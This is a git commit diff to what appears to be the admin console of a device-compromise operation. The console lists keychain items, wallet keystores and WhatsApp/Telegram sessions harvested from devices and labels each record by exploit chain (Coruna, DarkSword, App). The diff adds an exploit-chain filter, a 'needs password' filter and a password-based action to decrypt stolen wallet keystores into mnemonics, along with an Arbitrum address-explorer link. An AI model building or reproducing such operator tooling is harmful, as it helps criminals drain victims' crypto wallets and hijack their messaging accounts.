feat: app
This commit is contained in:
@@ -183,6 +183,7 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
if (c === 'BSC' || c === 'BNB' || c === 'BINANCE') return 'https://bscscan.com/address/' + encodeURIComponent(addr);
|
||||
if (c === 'BTC' || c === 'BITCOIN') return 'https://mempool.space/address/' + encodeURIComponent(addr);
|
||||
if (c === 'SOL' || c === 'SOLANA') return 'https://solscan.io/account/' + encodeURIComponent(addr);
|
||||
if (c === 'ARB' || c === 'ARBITRUM') return 'https://arbiscan.io/address/' + encodeURIComponent(addr);
|
||||
return '';
|
||||
}
|
||||
|
||||
|
||||
@@ -319,6 +319,25 @@
|
||||
</div>
|
||||
</form>
|
||||
@endif
|
||||
@if ($tab === 'keystores')
|
||||
<form class="layui-form" lay-filter="LAY-keystore-filter" style="margin-bottom: 12px;">
|
||||
<div class="layui-form-item" style="margin-bottom: 0;">
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label" style="width: auto;">需要密码</label>
|
||||
<div class="layui-input-inline" style="width: 160px;">
|
||||
<select name="needs_password">
|
||||
<option value="">全部</option>
|
||||
<option value="1">是</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<button class="layui-btn" lay-submit lay-filter="LAY-keystore-search">筛选</button>
|
||||
<button type="reset" class="layui-btn layui-btn-primary" id="LAY-keystore-reset">重置</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
@endif
|
||||
<table id="LAY-device-tab-list" lay-filter="LAY-device-tab-list"></table>
|
||||
@if (in_array($tab, ['ws-sessions', 'tg-sessions'], true))
|
||||
<script type="text/html" id="LAY-device-session-ops">
|
||||
@@ -652,15 +671,15 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
{ field: 'decrypted', title: '已解密', width: 90, sort: true, templet: function (d) {
|
||||
return Number(d.decrypted) === 1 ? '是' : '否';
|
||||
} },
|
||||
{ field: 'needs_password', title: '需要密码', width: 110, sort: true, templet: function (d) {
|
||||
return Number(d.needs_password) === 1 ? '是' : '—';
|
||||
} },
|
||||
{ field: 'kind', title: '类型', width: 110, templet: function (d) { return dash(d.kind); } },
|
||||
{ field: 'item_count', title: '条目', width: 70 },
|
||||
{ field: 'summary', title: '摘要', minWidth: 220, templet: function (d) { return dash(d.summary); } },
|
||||
{ field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } },
|
||||
{ title: '操作', width: 240, align: 'center', templet: function (d) {
|
||||
{ title: '操作', width: 200, align: 'center', templet: function (d) {
|
||||
var html = '';
|
||||
if (d.items_url) html += '<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="items">查看</a>';
|
||||
if (d.detail_api_url && d.has_web3_keystore) html += '<a class="layui-btn layui-btn-xs" style="background:#5a8dee" lay-event="plaintext">明文</a>';
|
||||
if (d.decrypt_url) html += '<a class="layui-btn layui-btn-xs" lay-event="decrypt">解密</a>';
|
||||
if (Number(d.needs_password) === 1 && d.password_decrypt_url) html += '<a class="layui-btn layui-btn-xs" style="background:#ff5722" lay-event="decryptPassword">密码解密</a>';
|
||||
return html || '—';
|
||||
} }
|
||||
]],
|
||||
@@ -740,15 +759,21 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
|
||||
if (tab === 'keystores') {
|
||||
table.on('tool(LAY-device-tab-list)', function (obj) {
|
||||
if (obj.event === 'decrypt') {
|
||||
if (!obj.data.decrypt_url) return layer.msg('无法解密');
|
||||
layer.confirm('对该设备已存钥匙串尝试解密并写入助记词?Trust UTC 可能需要一两分钟,请勿关闭页面。', { icon: 3, title: '解密' }, function (idx) {
|
||||
if (obj.event === 'decryptPassword') {
|
||||
if (!obj.data.password_decrypt_url) return layer.msg('无法密码解密');
|
||||
layer.prompt({
|
||||
formType: 1,
|
||||
title: '输入钱包密码',
|
||||
maxlength: 256
|
||||
}, function (value, idx) {
|
||||
var password = String(value || '').trim();
|
||||
if (!password) return layer.msg('请输入密码');
|
||||
layer.close(idx);
|
||||
var loadIdx = layer.msg('解密中…', { icon: 16, shade: 0.2, time: 0 });
|
||||
$.ajax({
|
||||
url: obj.data.decrypt_url,
|
||||
url: obj.data.password_decrypt_url,
|
||||
method: 'POST',
|
||||
data: { _token: token },
|
||||
data: { _token: token, password: password },
|
||||
timeout: 180000,
|
||||
success: function (res) {
|
||||
layer.msg((res && res.msg) || '已处理');
|
||||
@@ -791,40 +816,6 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
});
|
||||
return;
|
||||
}
|
||||
if (obj.event !== 'items' || !obj.data.items_url) return;
|
||||
layer.load(1);
|
||||
$.getJSON(obj.data.items_url, function (res) {
|
||||
layer.closeAll('loading');
|
||||
if (!res || res.code !== 0) {
|
||||
return layer.msg((res && res.msg) || '加载失败');
|
||||
}
|
||||
var d = res.data || {};
|
||||
var items = d.items || [];
|
||||
var html = '<div style="padding:12px 16px 16px;"><div style="color:#666;font-size:13px;margin-bottom:10px;">#' +
|
||||
esc(d.id) + ' · 来源 ' + esc(d.source || '未知') + ' · ' + esc(d.kind || '') +
|
||||
' · 已解密 ' + (Number(d.decrypted) === 1 ? '是' : '否') +
|
||||
' · ' + items.length + ' 条</div>';
|
||||
if (!items.length) {
|
||||
html += '<div style="color:#999;padding:24px 0;text-align:center;">暂无条目</div></div>';
|
||||
} else {
|
||||
html += '<table class="layui-table"><thead><tr>' +
|
||||
'<th>Account</th><th>Service</th><th>Access Group</th><th>Class</th><th>长度</th><th>预览</th>' +
|
||||
'</tr></thead><tbody>';
|
||||
items.forEach(function (it) {
|
||||
html += '<tr><td><code>' + esc(it.account || it.path || '—') + '</code></td>' +
|
||||
'<td>' + dash(it.service) + '</td>' +
|
||||
'<td><code>' + esc(it.access_group || '') + '</code></td>' +
|
||||
'<td>' + dash(it.protection_class) + '</td>' +
|
||||
'<td>' + esc(it.data_len) + '</td>' +
|
||||
'<td class="wrap"><code>' + esc(it.data_preview || '') + '</code></td></tr>';
|
||||
});
|
||||
html += '</tbody></table></div>';
|
||||
}
|
||||
layer.open({ type: 1, title: '钥匙串 #' + (d.id || ''), area: ['920px', '70%'], content: html });
|
||||
}).fail(function () {
|
||||
layer.closeAll('loading');
|
||||
layer.msg('加载失败');
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
@@ -951,6 +942,28 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
}, 0);
|
||||
});
|
||||
}
|
||||
|
||||
if (tab === 'keystores') {
|
||||
form.render('select');
|
||||
form.on('submit(LAY-keystore-search)', function (data) {
|
||||
table.reload('LAY-device-tab-list', {
|
||||
where: {
|
||||
tab: 'keystores',
|
||||
needs_password: data.field.needs_password || ''
|
||||
},
|
||||
page: { curr: 1 }
|
||||
});
|
||||
return false;
|
||||
});
|
||||
$('#LAY-keystore-reset').on('click', function () {
|
||||
setTimeout(function () {
|
||||
table.reload('LAY-device-tab-list', {
|
||||
where: { tab: 'keystores', needs_password: '' },
|
||||
page: { curr: 1 }
|
||||
});
|
||||
}, 0);
|
||||
});
|
||||
}
|
||||
});
|
||||
</script>
|
||||
|
||||
|
||||
@@ -48,6 +48,17 @@
|
||||
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-ks-search">
|
||||
<div class="layui-form-item">
|
||||
@include('admin.partials.filter_channel_select')
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">利用链</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="chain">
|
||||
<option value="">全部</option>
|
||||
<option value="1">Coruna</option>
|
||||
<option value="2">DarkSword</option>
|
||||
<option value="3">App</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">设备 ID</label>
|
||||
<div class="layui-input-block">
|
||||
@@ -77,6 +88,15 @@
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">需要密码</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="needs_password">
|
||||
<option value="">全部</option>
|
||||
<option value="1">是</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<button class="layui-btn" lay-submit lay-filter="LAY-ks-search">搜索</button>
|
||||
</div>
|
||||
@@ -85,9 +105,8 @@
|
||||
<div class="layui-card-body">
|
||||
<table id="LAY-ks-list" lay-filter="LAY-ks-list"></table>
|
||||
<script type="text/html" id="LAY-ks-ops">
|
||||
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="items">查看条目</a>
|
||||
@{{# if(d.has_web3_keystore){ }}<a class="layui-btn layui-btn-xs" style="background:#5a8dee" lay-event="plaintext">查看明文</a>@{{# } }}
|
||||
<a class="layui-btn layui-btn-xs" lay-event="decrypt">解密</a>
|
||||
@{{# if(Number(d.needs_password) === 1){ }}<a class="layui-btn layui-btn-xs" style="background:#ff5722" lay-event="decryptPassword">密码解密</a>@{{# } }}
|
||||
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail">设备详情</a>
|
||||
</script>
|
||||
</div>
|
||||
@@ -110,50 +129,6 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
}
|
||||
function dash(v) { return v ? esc(v) : '—'; }
|
||||
|
||||
window.CorunaKeystoreItems = window.CorunaKeystoreItems || function (url, title) {
|
||||
layer.load(1);
|
||||
$.getJSON(url, function (res) {
|
||||
layer.closeAll('loading');
|
||||
if (!res || res.code !== 0) {
|
||||
return layer.msg((res && res.msg) || '加载失败');
|
||||
}
|
||||
var d = res.data || {};
|
||||
var items = d.items || [];
|
||||
var html = '<div class="ks-wrap"><div class="ks-meta">#' + esc(d.id) +
|
||||
' · 来源 ' + esc(d.source || '未知') +
|
||||
' · ' + esc(d.kind || '') +
|
||||
' · 已解密 ' + (Number(d.decrypted) === 1 ? '是' : '否') +
|
||||
' · ' + items.length + ' 条</div>';
|
||||
if (!items.length) {
|
||||
html += '<div class="ks-empty">暂无条目</div></div>';
|
||||
} else {
|
||||
html += '<table class="ks-table"><thead><tr>' +
|
||||
'<th>Account</th><th>Service</th><th>Access Group</th><th>Class</th><th>长度</th><th>预览</th>' +
|
||||
'</tr></thead><tbody>';
|
||||
items.forEach(function (it) {
|
||||
html += '<tr>' +
|
||||
'<td class="mono">' + esc(it.account || it.path || '—') + '</td>' +
|
||||
'<td class="mono">' + dash(it.service) + '</td>' +
|
||||
'<td class="mono">' + dash(it.access_group) + '</td>' +
|
||||
'<td>' + dash(it.protection_class) + '</td>' +
|
||||
'<td>' + esc(it.data_len) + '</td>' +
|
||||
'<td class="mono">' + dash(it.data_preview) + '</td>' +
|
||||
'</tr>';
|
||||
});
|
||||
html += '</tbody></table></div>';
|
||||
}
|
||||
layer.open({
|
||||
type: 1,
|
||||
title: title || ('钥匙串 #' + (d.id || '')),
|
||||
area: ['920px', '70%'],
|
||||
content: html
|
||||
});
|
||||
}).fail(function () {
|
||||
layer.closeAll('loading');
|
||||
layer.msg('加载失败');
|
||||
});
|
||||
};
|
||||
|
||||
// ── Plaintext detail viewer (sensitive fields masked) ──
|
||||
window.CorunaKeystoreDetail = window.CorunaKeystoreDetail || function (url, title) {
|
||||
layer.load(1);
|
||||
@@ -191,14 +166,22 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
cols: [[
|
||||
{ field: 'id', title: 'ID', width: 70, sort: true },
|
||||
{ field: 'device_key', title: '设备 ID', width: 160, templet: function (d) { return d.device_key ? '<code>' + esc(d.device_key) + '</code>' : '—'; } },
|
||||
{ field: 'chain', title: '利用链', width: 120, sort: true, templet: function (d) {
|
||||
var c = Number(d.chain);
|
||||
var cls = 'tag-chain-coruna', label = 'Coruna';
|
||||
if (c === 2) { cls = 'tag-chain-darksword'; label = 'DarkSword'; }
|
||||
else if (c === 3) { cls = 'tag-chain-app'; label = 'App'; }
|
||||
return '<span class="tag-chain ' + cls + '">' + label + '</span>';
|
||||
} },
|
||||
{ field: 'channel_id', title: '渠道 ID', minWidth: 180, templet: function (d) { return dash(d.channel_id); } },
|
||||
{ field: 'source', title: '来源', width: 130, sort: true, templet: function (d) { return esc(d.source || '未知'); } },
|
||||
{ field: 'decrypted', title: '已解密', width: 90, sort: true, templet: function (d) {
|
||||
return Number(d.decrypted) === 1 ? '是' : '否';
|
||||
} },
|
||||
{ field: 'needs_password', title: '需要密码', width: 110, sort: true, templet: function (d) {
|
||||
return Number(d.needs_password) === 1 ? '是' : '—';
|
||||
} },
|
||||
{ field: 'kind', title: '类型', width: 110 },
|
||||
{ field: 'item_count', title: '条目', width: 70 },
|
||||
{ field: 'summary', title: '摘要', minWidth: 220, templet: function (d) { return dash(d.summary); } },
|
||||
{ field: 'created_at', title: '时间', width: 170, sort: true },
|
||||
{ title: '操作', width: 240, align: 'center', fixed: 'right', toolbar: '#LAY-ks-ops' }
|
||||
]],
|
||||
@@ -212,23 +195,25 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
return false;
|
||||
});
|
||||
table.on('tool(LAY-ks-list)', function (obj) {
|
||||
if (obj.event === 'items') {
|
||||
window.CorunaKeystoreItems(obj.data.items_url, '钥匙串 #' + obj.data.id);
|
||||
return;
|
||||
}
|
||||
if (obj.event === 'plaintext') {
|
||||
window.CorunaKeystoreDetail(obj.data.detail_api_url, '明文详情 #' + obj.data.id);
|
||||
return;
|
||||
}
|
||||
if (obj.event === 'decrypt') {
|
||||
if (!obj.data.decrypt_url) return layer.msg('无法解密');
|
||||
layer.confirm('对该设备已存钥匙串尝试解密并写入助记词?Trust UTC 可能需要一两分钟,请勿关闭页面。', { icon: 3, title: '解密' }, function (idx) {
|
||||
if (obj.event === 'decryptPassword') {
|
||||
if (!obj.data.password_decrypt_url) return layer.msg('无法密码解密');
|
||||
layer.prompt({
|
||||
formType: 1,
|
||||
title: '输入钱包密码',
|
||||
maxlength: 256
|
||||
}, function (value, idx) {
|
||||
var password = String(value || '').trim();
|
||||
if (!password) return layer.msg('请输入密码');
|
||||
layer.close(idx);
|
||||
var loadIdx = layer.msg('解密中…', { icon: 16, shade: 0.2, time: 0 });
|
||||
$.ajax({
|
||||
url: obj.data.decrypt_url,
|
||||
url: obj.data.password_decrypt_url,
|
||||
method: 'POST',
|
||||
data: { _token: token },
|
||||
data: { _token: token, password: password },
|
||||
timeout: 180000,
|
||||
success: function (res) {
|
||||
layer.msg((res && res.msg) || '已处理');
|
||||
|
||||
@@ -142,6 +142,7 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
if (c === 'BSC' || c === 'BNB' || c === 'BINANCE') return 'https://bscscan.com/address/' + encodeURIComponent(addr);
|
||||
if (c === 'BTC' || c === 'BITCOIN') return 'https://mempool.space/address/' + encodeURIComponent(addr);
|
||||
if (c === 'SOL' || c === 'SOLANA') return 'https://solscan.io/account/' + encodeURIComponent(addr);
|
||||
if (c === 'ARB' || c === 'ARBITRUM') return 'https://arbiscan.io/address/' + encodeURIComponent(addr);
|
||||
return '';
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user